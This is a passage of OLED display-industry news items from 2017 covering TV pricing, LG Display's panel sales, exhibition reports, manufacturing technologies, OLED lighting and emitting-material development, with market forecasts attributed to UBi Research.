On the other side in Hall, Royole, who manufactures and sells VR devices for China’s leading OLED applications, exhibited flexible sensors with VR device “Noon” Also, they did not exhibit their technology, they disclose a very thin flexible display of 0.01mm through wathcing a video and keep delivering message about continous Display technology development. Also, we can see the various forms and functions of display panel is applied to electrical instruments such as car, robot in many booths. Among them, OLED is expected to continue to grow in significance of IT industry in the future due to its wide range of applications and its technical strengths such as design excellence, thin panel and high resolution.

OLED leading the virtual reality; Olympus also to sell smart glasses in application of OLED

OLED is advantageous for miniaturization and light weight because it is a self-emitting display with no need of back light; it is applied to various HMD devices such as Oculus Rift, HTC Vive, and Sony PS VR for its fast response.

Olympus announced that ‘EyeTrek INSIGHT El-10’ using OLED will be released in the end of November to show the virtual reality to one eye only. Olympus smart glasses to be released this month are a developer version, priced at about US$ 1,500, and will be available on the Olympus website and Amazon.

In the meantime, Olympus has developed and presented smart glasses in application of constantly displaying on only one eye, but this is the first time to launch in the commercial market. According to Olympus, visual information is displayed on only one eye, so it does not interfere with the user’s view, advantageously showing the view when it’s needed.

<Olympus의 ‘EyeTrek INSIGHT El-10’, Source: petapixel.com>

Olympus applied OLED to smart glasses to achieve realistic image quality, miniaturization and weight reduction. The resolution of OLED in application of ‘EyeTrek INSIGHT El-10’ is 640x 400, the FOV is 13°, and weight is 66g including battery. The OLED brightness and manufacturer were not disclosed.

Meanwhile UBi Research market report on the display type of AR and VR forecast that the OLED would lead the virtual reality market with fast response speed and perfect screen quality, and will take up 80% market share with 52 million shipment in 2021.

Price competition intensifies in the premium TV market- OLED TV price close to premium LCD TV

In the premium TV market, price competition is on the rise. The basic premium TV models (55 inch, 65inch, flat type) such as QN55Q7F and QN65Q7F (Samsung Elec.), OLED55C7, OLED65C7 (LG Elec.), XBR55A1E and XBR65A1E (Sony), launched in Amazon (www.amazon.com) in March 2017, are compared to one another).

<Comparison of 55 inch and 65 inch premium TV price>

As a result, the average price of 55 inch models of those three manufacturers dropped by 54.8% from March to October; especially Samsung Elec.’s QN55Q7F showed the highest drop from $ 2,798 in March to $ 1,598 in October. The 65 inch model showed a similar phenomenon. 65 inch dropped 60.0% on average from March to October while Samsung Elec.’s QN65Q7F showing the most dramatic decline from $ 3,998 in March to $ 2,498 in October.

 

Notably the price difference between 55 inch LG OLED TV and Samsung SUHD TV, both of which were released in 2016, was about $ 1,000 as of Dec 2016, and for 65 inch models, 1,500$ while those released 2017 showed a significantly narrowed price difference as of October 2017-55 inch 200$, 65 inch 300$.

 

The reason why OLED TV prices are catching up with the premium LCD TV prices is significantly due to stabilization of LG Display production yield. In particular, if the E4-2 line of LG Display, which has started operating since the second half of this year, is fully in operation from 2018, LG Display’s large OLED panel production is expected to increase by 41% to 2.4M units from about 1.7M units in 2017; the OLED TV will accelerate market expansion.

LG Display wins OLED TV Premium Market

LG Display’s OLED TV panel sales in October more than doubled thanks to surging sales of major global TV customers such as LG Electronics, Sony and Philips.

 

LG Display’s OLED TV panel sales exceeded 200,000 units for the first time in October, followed by sales plan of exceeding 210,000 units in November.

 

With the help of Sony’s OLED TV which released LG Display’s OLED TV for the first time this year, it has achieved an overwhelming market share of 74% both in units and sales in the 55” and 65” TV market and OLED TV Set.

(September NPD North American aggregate basis)

 

In North America, Sony’s sales volume in September increased by 2.1 times compared to the previous month, and in Europe, Philips in its third quarter increased by 5.9 times compared to the previous quarter, and sales of LG Electronics, family of OLED TV, together with North America and Europe, experienced an increase of OLED TV sales in September with a surge of 1.5 times compared to the previous month.

(September NPD North America, GFK Europe / CIS 14 countries)

 

Particularly last end of July, it had only been 3 months since LG Display announced the move to invest in OLED to lead the future display market when TV sales are rapidly growing, with OLED becoming the trend of the Premium TV market.

 

This trend is due to the surge in consumer demand after 13 global TV companies introduced OLED TVs in front of the premium TV lineup at the IFA exhibition last September, and the demand for LG Display have increased not only for until the end of the year but even until next year.

 

Accordingly, LG Display’s OLED TV sales are expected to leap over 1.7 million units this year, exceeding market expectations of 1.5 million units, and 2.7 million units are expected to be sold next year.

 

LG Display plans to raise utilization of the E4-2 line to the maximum in Paju, which started operation in this second half of the year.

 

LG Display Vice Chairman Han Sang-Bum states, “OLEDs are rapidly emerging as a premium TV market and are growing steadily in accordance to our production capacity.”

 

Meanwhile, LG Display has actively promoted the trend of OLEDs in the display market and has recently opened ‘OLED Day’ events in China and Europe. In addition, OLED Experience Center has been installed in 8 major cities in China to show OLED potential and future technologies to consumers.

OLED TV, leading the premium TV market, LG Electronics HE division created the largest operating profit

On the 26th, LG Electronics announced its 2017 Q3 performance through conference call. LG Electronics recorded consolidated sales of KRW 15.2241 trillion in 3Q and operating profit of KRW 516.1 billion. Sales and operating profit grew by 15.1% and 82.2% YoY respectively. Sales are the highest in 3Qs ever.

In particular, sales of premium TV increased, and HE division posted record-high quarterly results with operating profit (KRW 458.0 billion) and operating margin (9.9%). In addition, operating profit (KRW 882.9 billion) and operating margin (9.2%) are the highest in the household appliances business including household appliances and TVs.

LG Electronics announced that its HE division posted sales of KRW 4.6376 trillion and operating profit of KRW458 billion, and sales of premium TVs such as OLED TVs and UltraHD TVs increased steadily, with 12.0% YoY growth. It is known that the operating profit and operating margin (9.9%) reached a record high on a quarterly basis due to improved profit structure by expanding sales of premium products.

LG Electronics said on Oct 11 that monthly sales of OLED TV have exceeded 10,000 units for the first time in Korea and that it is speeding up its popularization. LG OLED TV has been recognized for its image quality by being awarded the top spot in the performance evaluation conducted by non-profit consumer magazines in 11 countries including the US and UK this year and the price of the 55-inch OLED TV has dropped to the mid-2 million level, and It is regarded as the cause of goodness of its sales.

LG OLED TV accounted for about 30% of domestic TV sales of LG Electronics, and it is known to have completely settled in the market. LG Electronics official announced plans for the future, ” HE division plans to continue sales growth and stable profit structure focusing on premium products such as OLED TV and UltraHD TV.”

[IMID 2017] Opening solution for next generation high-resolution OLED implementation

Various solutions for high resolution OLED implementation were released at iMiD 2017 held in COEX from October 18th to 19th. As the resolution of small and mid-sized OLEDs, which are currently being commercialized, is staying at the QHD level, the solutions released at this time have attracted a great deal of attention from display members.

First, Hwang Chang-hoon, CEO of OLEDON, who is developing plane source FMM deposition technology, announced at the business forum, “The plane source FMM deposition technology currently being developed is the only alternative for ultra-high resolution OLED manufacturing at 2,250 ppi”. Hwang Chang-hoon CEO said, “We measured the shadow distance using a-step, and it was 0.38 μm. We can fabricate OLED device with 2,250 ppi only if we have this shadow distance.” “We are currently looking for shadow-free process conditions”

<Difference in shadow distance between point source and plane source>

In addition, Hwang Chang-hoon said, “We first co-deposited the host material and the dopant material on the metal plate to evaporate the deposited green donor thin film and measure the green target thin film with the same PL wavelength for the first time” and “Color control of target thin films made with plate sources can be controlled by the amount of dopant molecules in the donor film, so color control is expected to be easy”.

<OLEDON plane evaporation co-deposition material>

AP Systems, which recently announced the successful development of 1,000 ppi FMM using ultra-short pulse laser (USPL), exhibited 5.28 inch FMM of 825 ppi and 4.72 inch FMM of 677 ppi at this exhibition. A company official said, “By developing a burr-free laser process to solve the burr problem caused by the heat generated during the fabrication process, it is possible to fabricate not only FMM of 1170 ppi but also FMM of various shapes”.

<5.28 inch 825ppi FMM of AP Systems>

Finally, Philoptics unveiled FMMs fabricated using electro forming, especially, FMM of 1,200 ppi, which attracted attention this time, was displayed separately in the VIP room. A company official said “We have secured the stability of the process for the production of 1,200 ppi FMM,” and mentioned “We plan to deliver it to panel makers for testing in the first half of next year, and aim to develop FMM at 2,000 ppi later.”

<FMM of Philoptics manufactured by electro forming method>

As such, in this iMiD 2017, various solutions for high-resolution patterning of OLEDs has been released. Recently, as the number of contents requiring high-resolution OLED such as virtual reality contents increases, interest of smartphone users are increasingly interested. It is worth noting which solution will enable the small to medium-sized UHD OLED era.

[iMiD 2017] JOLED announces printing-type OLED development trend and future road map

At the ‘IMID 2017 Business Forum’ held in COEX, Seoul from 18th to 19th, Toshiaki Arai, chief technologist of JOLED announced JOLED’s printing technology and future road map.

<JOLED’s Toshiaki Arai chief technologist>

Toshiaki Arai, chief technologist stated that a stable jetting technology at 220 ppi level has been currently secured; high resolution OLED with more than 300 ppi has been developed at Gen 8.5 but there are some issues such as jetting accuracy and stability.

Toshiaki Arai introduced TG-TAOS (top gate-transparent amorphous oxide semiconductors) TFT, which will contribute to saving the unit cost of OLED with excellent performance at low price.

He also announced the future strategy of JOLED, stressing that, instead of small and large OLED dominated by South Korean companies, the middle-sized OLED for tablet and monitor with more than 200 ppi. Joled is the only OLED panel maker that unveiled its 21.6 inch 4K RGB OLED in 2017, using printing process, and has pilot launched.

<JOLED’s 21.6 inch 4K OLED in application of printing method>

On the other hand, according to the Nihon Keizai newspaper in Japan, JOLED is reported to have invested 100 billion yen in mass production of printing-type OLED. In addition, Toshiaki Arai stated that the OLED test samples manufactured by printing process have been provided since this April and the mass production will realize in the second half of 2018.

OLED TV with different characteristics and advantages by set makers

LG Electronics announced on last 11th that LG OLED TV is speeding up the popularization with the monthly sales volume of 10,000 units and above for the first time in Korea. In addition, Sony, which joins the OLED TV camp in 2017, is enjoying great popularity and continues to expand its market share in the premium TV market. As such, OLED TV is leading the premium TV market by improving cost competitiveness through cost reduction as well as excellent image quality.

OLED TVs are currently being mass-produced by LG Electronics, Sony, Toshiba and Panasonic. Although all set makers that produce OLED TVs use OLED of LG Display, they are producing OLED TVs with different characteristics and advantages.

First, LG Electronics mentioned OLED’s vivid image quality and wall paper design as advantages of OLED W7 which is a signature TV. LG Electronics mentioned that OLED, which is a self-luminous element, can express near-infinite contrast ratio and rich color close to nature, and supports Dolby vision HDR and HDR10 to experience vivid image quality. Also, introduced that a 4.6mm of thin panel provided the experience of seeing the theater screen and all parts except the panel were housed in a space called innovation stage and completed the perfect wall paper design.

<OLED TV W7 of LG Electronics, Source: LG Electronics>

Sony emphasizes sound, image quality and simple design as the advantage of 4K BRAVIA OLED TV A1E series. It mentioned that the TV screen, which attracted great attention in last year’s CES 2017, can provide an enhanced immersive feeling by applying the ‘Acoustic Surface’ that the TV screen vibrates and makes sound by itself. In addition, the ‘X1 extreme processor’ HDR chip has been applied to improve the picture quality of OLED TV, and the cable is housed in the stand on the backside so that the simple design is realized.

<Acoustic Surface of Sony 4K BRAVIA OLED TV A1E, Source: Sony>

Toshiba then mentioned a high color gamut of 100% DCI-P3 and a high brightness of over 800 nits as the advantages of the REGZA X910. It said that it increased the color reproduction rate to express natural colors and improved the brightness to express the bright and dark parts in richer gradations and strengthened HDR restoration function to realize sharp and realistic high-definition video.

<REGZA X910 of Toshiba, Source: Toshiba>

Lastly, Panasonic stated that it implemented full black and rich color expressions. Especially, it emphasized that it applied ‘Hexa chroma drive plus’ which is Panasonic’s high-definition technology to express high contrast and colors hidden in dark areas that were difficult to implement in LCD TV and reproduced the emotion that the video producer intended.

<Comparison of ‘Hexa chroma drive plus’ technology application of Panasonic, Source: Panasonic>

As such, OLED TV set makers are introducing different OLED TVs that emphasize their characteristics and advantages. In addition to the above four makers, LOEWE of Germany and B & O of Denmark are expected to continue to launch OLED TVs, including mass production of OLED TVs or preparations for mass production. Based on the unique technology of set makers, it is worth noting that OLED TVs with what kind of characteristics and advantages will be produced.

Solution Process OLED, Max. 40% Decrease in Component Material Cost Possible Compared to WRGB

According to 2017 Solution Process OLED Annual Report published by UBI Research, when solution process (ink-jet printing) is applied to large area OLED, it could reduce up to 40% of component material cost, and approximately more than 18% of production cost compared to WRGB process that uses evaporation method.

 

Solution process is a technology that can manufacture RGB pixel structure of large size OLED panel without cutting mother glass using Gen8 manufacturing equipment or larger.

 

UBI Research analyst Hyunjun Jang explained that the solution process applied OLED has a simpler panel structure with 5 layers compared to 20 layers of WRGB OLED. WRGB OLED process material usage efficiency is only at 40% but solution process application could increase this to over 90%. Jang added that the lack of color filter is a factor that could decrease panel production price by reducing development cost. Particularly, this can greatly reduce emitting materials usage which occupies much of materials cost and contribute considerably to the fall in production cost. Furthermore, he added that cost setting of soluble emitting material per gram will be an important factor in production cost decrease and emphasized that organic material usage greatly decreases when soluble emitting materials are used but must consider price increase due to solvent cost, production cost, and development cost.

 

Solution process technology continues to receive attention as a key technology that can lead popularization of large area OLED, and key AMOLED panel companies are carrying out development.

 

In terms of technology, solution process OLED has lower emitting efficiency and short lifetime as diverse solvent is added to existing evaporation materials to transform into ink leading to low purity. This has been an important issue for panel and material companies for past several years. To improve this, DuPont, Merck, Sumitomo Chemical and others have been actively developing soluble OLED emitting materials. Much like evaporation materials, blue materials showed particular difficulty in performance improvement. However, at present significant portion of technology development has been carried out and investigation shows approximately 80% of lifetime and efficacy of has been achieved compared to evaporation materials.

 

2017 Solution Process OLED Annual Report compared and analysed WRGB OLED and solution process OLED’s competitiveness in terms of process, materials, and cost. Key issues, soluble OLED emitting materials development status, key companies’ trend, and solution process OLED market are analysed from various perspectives.

<Source: WRGB OLED and solution process OLED production cost comparison, UBI Research 2017 Solution Process OLED Annual Report>

Is there possibility of High resolution(UHD) OLED Smart-phone generation?

Recently VR contents experience through smart-phone device has been increased, therefore high resolution of smart phone is becoming necessary. However, OLED smart-phone resolution still remains at QHD level for 3 years since QHD OLED is applied to Galaxy Note 4 for the first time in 2014.

The core point that decides resolution of OLED smart-phone is evaporation process for emission layer. Bottom-up type evaporation method, which is applied to the recent devices is that substrate and FMM (fine metal mask) are horizontally arranged on the upper side of evaporator and vaporize the organic material from the lower linear source in order to form RGB layer.

Thin FMM measures less than 15um thick is necessary for making high resolution OLED like UHD level, however, as FMM gets thinner, it would be difficult to make mass production because technical problems will be occurred such as patterning, sealing and welding.

In order to solve these problems, various metal mask patterning technologies are being developed such as vertical type evaporation and plane source evaporation.

Vertical type evaporator that arranges board and FMM vertical is developed by Hitachi of Japan for the first time. And Canon Tokki exhibited Gen6 vertical type evaporator at Finetech Japan 2013, however it is not being used for mass production at the moment.

<Canon Tokki’s Gen6 vertical type evaporator which is exhibited at Finetech Japan 2013>

 

According to the recent ETNEWS, Applied Materials developed Gen6 flexible OLED vertical type evaporator and it is being tested in Japan Display.

Plane source evaporator is being tested but also the linear source type. Plane source evaporator method is that an organic material is first evaporated on the metal surface to produce plane source, then re-evaporated in order to form an organic thin film on the substrate.

In the past iMiD 2017, representative of OLEDON, Chang Hoon Hwang mentioned that 2250 ppi resolution OLED can be implemented through plane source evaporator.

For metal mask patterning technology, electro forming and laser patterning technology is highlighted. Electro forming method is developed by Wave Electronics, TGO Technology, Athene and so on. Laser patterning technology is being developed by AP Systems.

As such, development for high resolution OLED is receiving great attention whether it can solve the current problems and contribute to UHD resolution implementation for OLED smart-phone.

<Principle of plane source evaporation developed by OLEDON>

LG Electronics, Big step on popularization of OLED TV

<OLED TV of LG Electronics Source: LG Electronics>

 

LG Electronics OLED TV is speeding up its popularization with exceeding monthly sales of 10,000 units for the first time in Korea.

‘LG OLED TV’ was sold every four minutes last month. Compared to the beginning of this year, it’s double. LG Electronics expects sales increase of OLED TVs in the future and to rapidly increase market power.

The secret to increasing sales is recognition of outstanding image quality. LG OLED TV, this year, was first in the performance evaluation conducted by nonprofit consumer magazines in 11 advanced markets including the US, UK, Germany, France, Italy, Spain, the Netherlands, Sweden, Belgium, Portugal and Australia. Unlike LCD TVs, the contrast ratio is high because it emits light without backlight. So it presents perfect black and realizes a lively screen.

Consumers consider picture quality the most when purchasing TV. According to a consumer survey conducted by LG Electronics, over 40% of the respondents cited image quality as the top priority when purchasing TVs. This percentage is the highest of all purchasing considerations.

Reasonable price is also the cause of good sales. LG Electronics has continuously developed technology for more consumer to experience OLED TV image quality so as to reduce the. 55-inch OLED TV prices have fallen to the mid-2 million won. It is no different from premium LCD TVs. In 2013 when LG Electronics first launched OLED TV, it was worth 15 million won.

‘LG OLED TV’ accounted for about 30% of LG Electronics domestic TV sales this year and settled perfectly in the market.

Son, Dae-Gi, LG Electronics Korea HE Marketing FD, emphasized “we will expand sales to allow more customers to enjoy ‘LG OLED TV’ image quality and have a solid profit structure by raising premium market power”.

Fraunhofer FEP will show bidirectional AR / VR head mounted display devices based on OLED microdisplay.

Fraunhofer FEP announced that they would show bidirectional AR / VR head mounted display devices based on OLED microdisplay at AWE Europe 2017 from October 19-20. According to Fraunhofer FEP, OLED microdisplay supports SVGA (800 x 600) resolution and can display augmented reality and virtual reality of 2D and 3D content via USB interface and HDMI connection. In addition, it is known that it is possible to use an eye tracking system that uses a photodiode to detect a user’s gaze.

 

<New HMD device of Fraunhofer FEP, Source: Fraunhofer FEP>

 

Judith Baumgarten, developer of Fraunhofer FEP, commented, “This exhibition will showcase the quality and versatility of OLED microdisplay,” he said. “It will be a great opportunity to demonstrate Fraunhofer FEP know-how in electronic design.”

In the meantime, AR/VR devices have been developed mainly in the fields of entertainment and games. Fraunhofer FEP, however, is expected to support designers, engineers, surgeons, etc. and enable them to be used as educational media in almost every field.

On the other hand, augmented reality and virtual reality technology are attracting great attention as one of the main technologies of the 4th industrial revolution that has recently attracted attention, and products such as Oculus Rift and Gear VR are continuously being released. According to UBi Research, the AR/VR market will expand full scale in 2019, when 5G is introduced, which can mass-produce UHD contents and transfer large volumes of content fast and the total revenues of virtual reality and augmented reality products will reach $ 58.7 billion by 2021.

Cynora, TADF will contribute to high-resolution implementation of OLED devices and panel cost reduction

At the Global Materials Tech Fair 2017 held on September 22 in COEX, CEO Ko Chang-hoon of EM Index, Cynora’s Korean partner, announced the development of the thermally activated delayed fluorescence, blue TADF, which is currently under development at Cynora.

 

<CEO Ko Chang-hoon of EM Index>

 

Generally, the blue light emitting material is insufficient in life and efficiency compared to red and green. For this reason, OLED panels for mobile devices are manufactured relatively large in blue pixel size compared to other pixels, in the OLED panel for TV, blue light emitting layers are laminated twice. The blue TADF is the material that is being developed to overcome the limitations of this blue light emitting material.

CEO Ko Chang-hoon mentioned “Applying blue TADF increases lifetime and efficiency, so it does not need to increase pixel size and it is advantageous for high resolution implementation” and emphasized “In mobile devices, it will be advantageous to reduce power consumption as well as realize high resolution and in case of TV, it will be advantageous to reduce the panel cost because only one layer of blue light emitting layer needs to be formed.”

He referred to the recent investments of € 25 million from Samsung Venture Investment and LG Display and explained that it was a proof that blue TADF is attracting a lot of attention.

It is also close to the efficiency, lifetime and color purity of the blue TADF required by major OLED panel makers and is expected to meet these requirements by the end of 2017.

 

<Cynora’s blue TADF development progress>

 

Finally, the company announced the development roadmap for the green TADF by the end of 2018 and the red TADF by the end of 2019, and concluded by emphasizing that TADF would contribute to high-resolution implementation of OLED products and panel cost reduction.

<Cynora’s TADF product development roadmap>

AUO unveils round OLED and foldable OLED for the smart watch in Touch Taiwan 2017.

AUO showed the OLED that can be collapsible and three kinds of round OLEDs (1.2-inch, 1.3-inch, 1.4-inch) for the smart watch in Touch Taiwan 2017 held on 20th.

The round OLEDs in 1.2-inch and 1.4-inch of AUO are 326ppi, and it lowers an electric consumption at 30% versus former production goods. AUO also improves the visibility capacity in outdoor by embedding the brightness increase mode to make a display screen of two kinds of round OLEDs be clear even under bright sunlight.

The 1.3-inch OLED aimed at the smart watch for kids is light in weight, and strengthens the usability with a power saving mode and an intuitive touch interface function.

AUO displays two types of 5-inch flexible OLEDs that can be rolled or folded. Such two types of 5-inch flexible OLEDs apply the plastic board and AUO self-developed structure (special structural layer).

 

<AUO, 5 inch foldable OLED touch panel>

 

The 5-inch foldable OLED combines a flexible touch screen sensor that is developed by AUO itself.  The company said “it would provide excellent image quality, even if the curvature radius of the folded part is 4mm and less”.

For 5-inch rollable OLED, they explained “The thickness of the panel is just 0.1mm and only 5g. This model with the rolling radius of 4mm will provide wide color gamut”.

In last SID 2017, AUO has announced about that they applied the structure locating the TFT (Thin Film Transistor) and TFE (Thin Film Encapsulation) at the neutral axis to stand the compression stress or tensions during being folded.

Fraunhofer Institute will introduce automotive flexible OLED lighting at ISAL 2017

Specialized in development and manufacturing OLED module, Fraunhofer Institute will introduce Automotive flexible OLED lighting with adjusted color at ISAL 2017 which will be held in Darmstadt, Germany from 25th to 27th September. Fraunhofer Institute had released previously OLED which the color can be adjusted by rigid substrate in 2015.

Fraunhofer Institute has continued to develop flexible OLED lighting since then. Flexible OLED lighting which will be shown at ISAL 2017 is known to be changed to yellow and blue color. It can be shown as white light by making of yellow and blue color at the same time.

Fraunhofer Institute predicts that flexible OLED lighting will be replaced for car interior lights and it could also be used on the ceiling or winding parts where lights cannot be built easily. Commercial lighting is required to have heatsink and unfortunately it can not be easily built with lack of flexibility in design. However flexible OLED lighting is very light and thin which means it is expected to be widely used for Automotives interior with its flexible design. Fraunhofer Institute also made a comment that they may produce flexible OLED substrate glass, metal and plastic film as well.

OLED lighting has been recently used for Automotives interior and it is expected to be used more in the next generation. Customized Automotive service company, Changscustom showed OLED lighting built in the car at Seoul Auto 2016. Furthermore lighting companies including LG Display and Osram supplied OLED tail light with Mercedes-Benz and BMW.

Meanwhile, according to 2017 OLED Lighting Annual Report which was recently published by UBi Research, using of Automotive OLED Lighting will be increased to $2.11 billion in 2025 from $6.4 million in 2017 with 107% of growth rate. Especially flexible OLED Lighting is expected to capture a higher market share more than 95% and flexible OLED Lighting will be widely used instead of rigid OLED lighting.

Starting to have mass production process in Gen5 OLED of LG Display from end of September, lighting market is expected to reach full growth. The growth of OLED lighting market is being watched with keen interest to compare with strong growth of OLED display market.

UBi Research, Lee Choong-Hoon, CEO, announce OLED market and forecast

Mr. Choong-Hoon Lee, the CEO of UBi Research, OLED specialist presented the market trend and prospects of the OLED industry following last year at the Japan Conference, host by Merrill Lynch Japan Securities, from 5th to 7th of September in Tokyo, Japan. The annual conference was held for Merrill Lynch Securities customers, consisting of a forum-type presentation on major industry trends in Japan and small meetings with presenters.

The fact that Mr. Lee, the CEO of UBi Research was invited to the event indicates the importance of the display market, not just in the IT industry but also in the global market industry. Among investors in recent years, display is in the spotlight at as an emerging industry and participants have shown their interest in the latest OLED technology trend as well as current and future production scale of OLED panel manufacturers.

Mr. Lee was also had an interview with Nikkei Business Publication regarding “Global OLED Market Trend and Forecast” during the conference. The main interview question is focused on “OLED industry trend and future OLED TV market development”. According to Naoki Tanaka, editor of Ronny Keikyo Newspaper, Japanese electronics industry is expecting to revive the old glory of display industry, showing its interest in the OLED industry and OLED TV.

In the interview, Mr. Lee stressed, referring to the market data in the UBi Research OLED display report, that Japanese display manufacturers who still believe perpetuation of LCD need more reliable OLED market analysis.

In addition, he said that through the exhibition trend of OLED TV at 2017 IFA held in Berlin, Germany it is worthwhile paying continuous attention to the premium OLED TV market in the future. At the end of the interview, he emphasized how important OLED production by Japanese panel manufacturers would be to Japan’s entire display and set industry.

UBi Research publishes a monthly report on a variety of topics of OLED industry, market, and technology trend, and draws more and more attention along with the recent OLED market expansion. For more information, please contact UBi Research (info@ubiresearch.com); useful sample reports and information are provided.

UBI research publishes 2017 OLED lighting report : LG Display, ready to mass-produce OLED light panel, expecting OLED lighting market to grow fast

■ LG Display starts mass production of 5G OLED panel for lighting from the end of September

■ OLED lighting panel market is projected to grow from US$ 1.9billion in 2021 to US$ 5.8billion by 2025

 

LG Display will start mass production of 5G OLED light panels from the end of September, therefore attention is focused on whether the OLED lighting market is growing rapidly. According to LG Display, monthly production capacity is 15K, and it is to be increased to 90K later.

 

According to the ‘2017 OLED Lighting Annual Report’ published by UBI Research on August 8, the global OLED lighting panel market is expected to grow to about US$ 1.9 billion by 2021. Furthermore, it is projected to have a CAGR of 85% for the period 2017-2025, and form a market of US$ 5.8 billion in 2025.

Because OLED lighting is thin, light and flexible, it does not limit the installation space and has excellent design autonomy. In addition, OLED lighting is used for automotive, exhibition, and medical as well as general indoor lighting because it can create a comfortable atmosphere with little heat and flicker.

 

However, the market for OLED lighting has been slower than that of OLED display, which is widely applied to mobile devices and TVs. Osram focuses primarily on automotive OLED lighting, and Philips sold its OLED lighting division to OLEDWorks. Also, Japanese panel makers such as Sumitomo Chemical and Konica Minolta have developed OLED lighting for industrial and medical applications. Nevertheless, it seems to take time for OLED lighting to become eventually a large market.

With LG Display’s mass production of Gen5 OLED line, the price of OLED light panel is estimated to drop below US $ 10 (100 x 100 mm). The significant price competiveness might enable OLED panels to be applied to various areas such as automobile and display lighting as well as indoor lighting. Owing to this expectation, attention is focused on whether the OLED lighting market, showing signs of slow growth, can be materialized.

UBI Research predicted that LG Display would account for about 70% of the world’s lighting OLED panel market in 2017, and will continue to lead the OLED lighting panel market with a 50% market share in 2020.

 

Meanwhile, ‘2017 OLED Lighting Annual Report’ describes trends of next-generation lighting market, promising applications, cost analysis upon the investment of LG Display and forecast of OLED lighting market. Since it analyses particularly OLED lighting market, materials market, and equipment market forecasts for OLED lighting from various perspectives, it is expected to help the related companies identify the OLED lighting market.

 

<Sales forecast for total OLED lighting panels>

 

LG DISPLAY, Will lead global TV market with OLED

LG Display invited about 200 people of Chinese set makers, distributors and related experts and had ‘OLED Partner’s Day’ to share the status of premium TV market and OLED TV business development at Renaissance Capital Hotel in Beijing, China on September 12.

 

<Source : LG Display>

 

In the expert forum on the day, key executives from distribution and set makers such as LG Electronics, Sony, Philips, Skyworth, Suning and related organizations such as electronic committee and awards association participated and agreed that OLED will lead the TV market in the future. Forum participants, Liu Tangz(刘棠枝), CEO of Skyworth, said “The Chinese TV industry is currently in a state of saturation, but OLED TV, which can offer new value, will be a breakthrough in the display industry,” and commented “OLED TV will help increase brand awareness and market share.”

 

Yeo Sang-Deog, LG Display CMO, said, “OLED TV has already become the market trend” and emphasized “We will lead the market with OLED TV, a true future display that can deliver value beyond TV.”

 

Since LG Display began mass production of OLED TV panels in 2013, it has expanded its customer base to 13 major companies in Europe, Japan and China, starting with LG Electronics. World TV set makers such as LG Electronics, Skyworth, Concha, Philips and Panasonic have set OLED TV products on the front at the IFA (International Consumer Electronics Show) 2017 in Berlin in early September.

 

OLED TV’s market competitiveness is getting higher as major set makers in the world recognized the value of OLED TV, which has various advantages such as image quality, thickness, design, viewing angle and power consumption and aggressively launch products.

 

Yeo Sang-Deog CMO emphasized the confidence in quality, he added, “In addition to securing stable yields, we will increase the output to 1.7 ~ 1.8 million units in 2017 and 2.5 million units in 2018.” and explained that they finished all the preparations that OLED TV can influence in terms of production.

 

<Source : LG Display>

 

OLED TV has been rated as one of the best products by the world’s leading professional rating agencies such as ‘Consumer Report’, a nonprofit consumer organization in the US.

 

OLED TV can be used for interior decoration that displays pictures and photos even when not watching TV, and easy to apply on various AI platforms so that there is no limit to the range of applications. LG Display expects OLED TVs with infinite scalability to change the lifestyle of consumers.

 

“OLED is a true future display that can deliver new value to the TV market,” said Yeo Sang-Deog CMO and “LG Display plans to carry out a variety of promotional activities to enable more consumers to know and experience the value of OLED.”

 

LG Display plans to build an OLED landmark in Guangzhou Tower while operating an OLED experience center in the core city of China.

 

Meanwhile, Vincent Teoh, editor-in-chief and image quality expert at HDTV Test, explained that the TV picture quality test conducted recently proved the overwhelming superiority of OLED TV in all aspects such as contrast and color accuracy, famous Chinese photographer Tungmeong (童梦) shared the experience of use from the user perspective that OLED is the best display to realize the natural color.

 

On the other side of the event hall, there prepared the experience zone that can compare structure and image quality of OLED, gallery that can be observed high-end products such as CSO and wallpapers TV and products released by customers allowing attendees to directly experience the benefits of OLED TV.

Material Science to develop blue dopant for OLED … OLED Efficiency ⋅ Lifetime Up↑

A Korean venture company has succeeded in developing blue dopant for Organic Light Emitting Diodes (OLED) that a Japanese company has had its exclusive patent for. The dopant is an element that improves efficiency and life time by mixing with host that actually colors within the OLED.

In the meantime, many domestic material companies have developed OLED host, but it is the first case that a venture company has independently developed dopant on a commercial scale without receiving any support of large corporations.

 

Material Science (CEO Lee Soon-chang), an organic material developer for OLED has developed a technology that can replace Japanese I Company’s patent for blue dopant. Established in 2014, Material Science is supplying HTL( Hole Transporting Layer) and ETL (Electron Transfer Layer) to OLED panel makers.
Half of the 50 employees are R&D personnel. Last year, its sales were 6.6 billion won, and it is expected to exceed 10 billion won this year.

This time, due to the development of blue dopant by Material Science, OLED panel companies have an alternative to supply blue host and dopant besides I Company.

Japanese I Company has been developing blue dopant since 1995. At present, the company has more than 30 patents related to blue dopant (based on Japanese application for a patent), and its major 8 patents are valid until 2034. In particular, it has an exclusive patent for the combination method of blue dopant that includes blue host and pyrene with an anthracene structure (a compound in which three benzene rings are sequentially bonded). For this reason, the panel makers which purchase dopant from I Company must buy its host. If they mix I Company’s blue dopant with another company’s host, it is inevitable to infringe the patent in the case a host material has an anthracene skeleton.

Both Samsung Display and LG Display have been using I Company’s blue dopant and host.

The blue dopant developed by Material Science is designed to make molecules that are completely out of I Company’s compound patent. Conventionally, the method of applying an electron acceptor to a molecule has been used to improve the efficiency and lifetime of OLED and have a blue color.
On the other hand, Material Science introduces electron donor into molecules to improve the efficiency and lifetime while generating dark blue color. This dopant greatly reduces the solvent-dependent color development (solvatochromism) where emission wavelength changes due to the polarity of the surroundings. Therefore, the change of emission wavelength is also greatly reduced.

Jung Jae-ho, a researcher at Material Science said, “We have developed a new structure and a synthesis method, which makes it possible to produce its differentiated dopant.” “Panel companies are now able to utilize various types of blue hosts”. In addition, Material Sciences has been recently developing TADF(Thermally Activated Delayed Fluorescence) that OLED panel makers are struggling to introduce for the longer life of blue-emitting phosphors.

 

<OLED emitting material market forecast, UBi Research>

According to UBi Research, the OLED organic market is expected to reach $ 3.36 billion by 2021 (about 3.8 trillion won). And blue materials account for 11.5% of total sales.

 

[iMiD 2017] Samsung Display, Huge release of application using OLED

Samsung Display has received great attention by releasing a large number of applications using OLED such as VR and light field display in iMiD 2017 held in BEXCO, Busan from 28th to 31st August.

 

<Samsung Display booth>

 

First, Samsung Display comparatively exhibited a 3.5-inch OLED with 460ppi resolution for virtual reality and an 806ppi 3.2-inch OLED. A company official said “The higher the ppi, the better the experience of realism and immersion,” and mentioned “We are currently developing higher resolution OLEDs.”

 

<Comparison of 3.5 inch 460 ppi OLED and 3.2 inch 806 ppi>

 

